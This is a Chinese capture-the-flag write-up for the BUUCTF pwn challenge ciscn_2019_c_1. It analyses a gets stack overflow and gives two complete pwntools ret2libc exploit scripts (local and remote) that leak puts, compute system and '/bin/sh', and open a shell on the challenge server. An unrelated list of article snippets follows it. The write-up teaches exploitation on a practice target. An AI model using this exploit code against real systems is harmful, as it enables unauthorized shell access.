buuctf之ciscn_2019_c_1

ciscn_2019_c_1

  • 一、查看属性
  • 二、静态分析
  • 三、动态分析
  • 四、思路
  • 五、exp

一、查看属性

首先还是必要的查看属性环节:

可以知道该文件是一个x86架构下的64位小端ELF文件,开启了栈不可执行(NX)
在这里插入图片描述
执行一下,先有一个选择,1是加密,2没什么功能,3退出
在这里插入图片描述

二、静态分析

先看一看主程序:一个初始化函数,一个begin函数还有一个encrypt函数
在这里插入图片描述
分别进去看一看,直到看到encrypt函数,这里有一个gest函数
在这里插入图片描述
这样的话,这道题的大概思路就是利用这个gets去溢出控制程序执行方向,但是这个题的问题就在于没有给可利用的函数以及没有调用system,比较经典的ret2libc

三、动态分析

我们动态跑一下,直接断到encrypt函数
在这里插入图片描述
单步n到gets函数,然后输入几个a
在这里插入图片描述
之后查看栈,我们发现ret地址距输入点距离为0xdf08-0xdeb0,也就是88个字节
在这里插入图片描述
在这里插入图片描述

四、思路

没有可直接利用的函数,我们就从库里找,本地破的话就用/usr/lib/x86_64-linux-gnu/libc-2.31.so就可以了
在这里插入图片描述
大致原理就是动态链接的时候,库函数被加载时,相对偏移是相同的,程序会把库整体加载进内存空间,我们只需要找到被调用的函数(puts)的got表项,利用库内函数的相对位移来计算出目标函数(system)的地址
在此之前我们先找到64为程序ROP的必要的ROP片段:
在这里插入图片描述
找到“/bin/sh”
在这里插入图片描述

五、exp

本地:libc需要自己vmmap换

from pwn import*#io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26526)
#io = gdb.debug('./ciscn_2019_c_1','break encrypt')elf = ELF('./ciscn_2019_c_1')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')main_addr = elf.symbols['main'] 
pop_rdi = 0x400c83
ret = 0x4006b9 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+ b'a' * (88-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))binsh_libc = 0x1b45bd
system_libc = libc.symbols['system']
puts_libc = libc.symbols['puts']system_addr = (system_libc - puts_libc) + puts_addr
binsh_addr = (binsh_libc - puts_libc) + puts_addr print(hex(system_addr))
print(hex(binsh_addr))
io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(88-1) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)io.interactive()

远程:

from pwn import*
from LibcSearcher import*#io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26526)elf=ELF('./ciscn_2019_c_1')main_addr = elf.symbols['main'] 
pop_rdi = 0x400c83
ret = 0x4006b9puts_plt = elf.plt['puts']
puts_got = elf.got['puts']io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+ b'a' * (88-1)
payload=payload+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system_addr = Offset+libc.dump('system')
print(hex(system_addr))
print(hex(binsh))
io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(88-1) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/1443.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ROS2 王牌升级:Fast-DDS 性能直接碾压 zeroMQ 「下」

以下内容为本人的学习笔记,如需要转载,请声明原文链接 微信公众号「ENG八戒」https://mp.weixin.qq.com/s/aU1l3HV3a9YnwNtC1mTiOA 性能比较 下面就以官网的测试数据为准,让我们一起来看看它们的性能差别到底怎样。 本次比较仅针对 Fast RT…

60道计算机二级模拟试题选择题(含答案和解析)

点击下载《60道计算机二级模拟试题选择题(含答案和解析)》 1. 前言 本文设计了一份针对计算机二级考试的选择题,旨在考察考生对计算机基础知识和应用技能的掌握情况。试题涵盖了计算机基础知识、操作系统、办公软件、计算机网络等多个方面&…

【CVPR2023】《A2J-Transformer:用于从单个RGB图像估计3D交互手部姿态的锚点到关节变换网络

这篇论文的标题是《A2J-Transformer: Anchor-to-Joint Transformer Network for 3D Interacting Hand Pose Estimation from a Single RGB Image》,作者是Changlong Jiang, Yang Xiao, Cunlin Wu, Mingyang Zhang, Jinghong Zheng, Zhiguo Cao, 和 Joey Tianyi Zhou…

polkit服务启动失败

使用systemctl 命令报错 Authorization not available. Check if polkit service is running or see debug message for more information. 查看polkit状态是失败的状态,报缺少libstdc.so.6 systemctl status polkit 需要安装libstdc.so.6库 先加载所有安装包 …

Java学习Go(入门)

下载Go 《官网下载golang》 直接点Download,然后根据你自己的操作系统进行下载,我这里以win10为例 安装go 默认安装到C:\Program Files\Go,这里我们可以选择安装到其他盘,也可以选择默认安装。初学者建议直接一路next。 安装完…

IMUGNSS的误差状态卡尔曼滤波器(ESKF)---更新过程

IMU&GNSS的误差状态卡尔曼滤波器(ESKF)---更新过程 ESKF的更新过程 ESKF的更新过程 前面介绍的是ESKF的运动过程,现在考虑更新过程。假设一个抽象的传感器能够对状态变量产生观测,其观测方程为抽象的h,那么可以写为 其中z为…

python爬虫笔记1

1 爬虫介绍 爬虫概述: 获取网页并提取和保存信息的自动化程序 1.获取网页 2.提取信息 css选择器 xpath 3.保存数据(大数据时代) 4.自动化 爬虫(资产收集,信息收集) 漏扫(帮我发现漏洞&#xff…

使用Python比较两张人脸图像并获得准确度

使用 Python、OpenCV 和人脸识别模块比较两张图像并获得这些图像之间的准确度水平。 一、原理 使用Face Recognition python 模块来获取两张图像的128 个面部编码,并比较这些编码。比较结果返回 True 或 False。如果结果为True ,那么两个图像将是相同的…

Python程序设计 字典

教学案例十 字典 1. 判断出生地 sfz.txt文件中存储了地区编码和地区名称 身份证的前6位为地区编码,可以在sfz.txt文件中查询到地区编号对应的地区名称 编写程序,输入身份证号,查询并显示对应的地区名称 若该地区编码不在文件中,…

SQVI创建以及生成程序

SAP数据快速查询工具:Sqvi-QuickView 项目实施&运维阶段,为了快速获取一些透明表数据,一开始接触项目肯定会通过大量的数据表查找,然后线下通过EXCEL通过VLOOKUP进行数据关联,这种方式在关联数据较少的情况比较适应…

齐超:思颜肌密从单科特长生向全科学霸进化

“从单科特长生向全科学霸进化”。 中国化妆品行业发展至今,走过了线下渠道蓬勃发展的时代,也经历了电商渠道的黄金时代,继而迈入当下的直播时代。而在每一个时代的转折点上,思颜肌密始终在行业前列,跨越一个个生命周…

书生·浦语大模型实战营Day04OpenXLab 部署

书生浦语大模型实战营Day04OpenXLab 部署 如何在 OpenXLab 部署一个 InternLM2-7B chat 的应用。 OpenXLab浦源平台介绍 OpenXLab 浦源平台以开源为核心,旨在构建开源开放的人工智能生态,促进学术成果的开放共享。OpenXLab面向 AI 研究员和开发者提供…

FPGA - ZYNQ Cache一致性问题

什么是Cache? Cache是一种用来提高计算机运行速度的一种技术。它是一种小而快的存储设备,位于CPU与内存之间,用于平衡高速设备与低速设备之间的速度差异。Cache可以存储常用的数据或指令,以便CPU更快地获取,从而减少对…

竞逐智能家居大模型:美的“蓄力”,海尔“疾行”

配图来自Canva可画 随着ChatGPT火热出圈,AI大模型便成为了各行各业必争的高地。“BAT”等互联网大厂、华为、小米等通讯巨头,以及一些垂直AI公司,都开始在大模型市场积极布局。众所周知,发展大模型的关键在于应用场景的落地&…

Redis-cluster集群架构

一、集群架构 上述集群架构师一个由多个主从节点群组成的分布式服务器,具有复制、高可用和分片的特性。Redis集群不需要sentine哨兵也能完成节点移除和故障转移。官方文档称可以扩展上万个节点。推荐不超过1000个;从节点只担任备份的角色,不承…

MySQL基础篇总结

参考:黑马程序员MySQL基础视频链接 数据库基本操作 启动与停止 1.第一种方式: 1>以管理员身份运行cmd 2>在命令行窗口中输入: 启动:net start mysql80停止:net stop mysql80 2.第二种方式: 1>WinR快捷方式打开如下: 输入&#…

【可视化大屏开发】19. 加餐-百度地图API实现导航加线路热力图

需求 Web端使用场景中会涉及到地图导航路线情况,并利用热力图显示路况信息。 实现效果如下: 输入起始地点,选择并开始导航 最终效果 思路步骤 利用百度地图API显示地图交通拥堵情况的热力图,需要按照以下步骤进行开发 步骤1&a…

9.Godot数组|遍历|静态变量|对象|调试

数组和字典的遍历 数组的概念 数组是一组数据的集合。在程序中负责批量处理数据。数组中的元素可以包括各个类型的数据,也可以对数组内数据类型进行限定。可以通过 数组名【数字】 的形式来访问数组元素,数字 0 代表数组的第一个元素。数组可以通过调用…

【大数据】TiDB: A Raft-based HTAP Database

文章目录 数据库知识介绍数据库系统的ACID特性分布式系统和CAP理论关系型数据库与非关系型数据库关系型数据库非关系型数据库 OldSQL、NoSQL、NewSQLOldSQLNoSQLNewSQL OLTP、OLAP、HTAP 前言:为什么选择TiDB学习?pingCAP介绍TiDB介绍TiDB的影响力TiDB概…

Java发送邮件 启用SSL

使用的maven依赖: <dependency><groupId>com.sun.mail</groupId><artifactId>javax.mail</artifactId><version>1.4.7</version> </dependency> 配置文件mail.properties如下: # 邮箱配置 email.username=your-email@exa…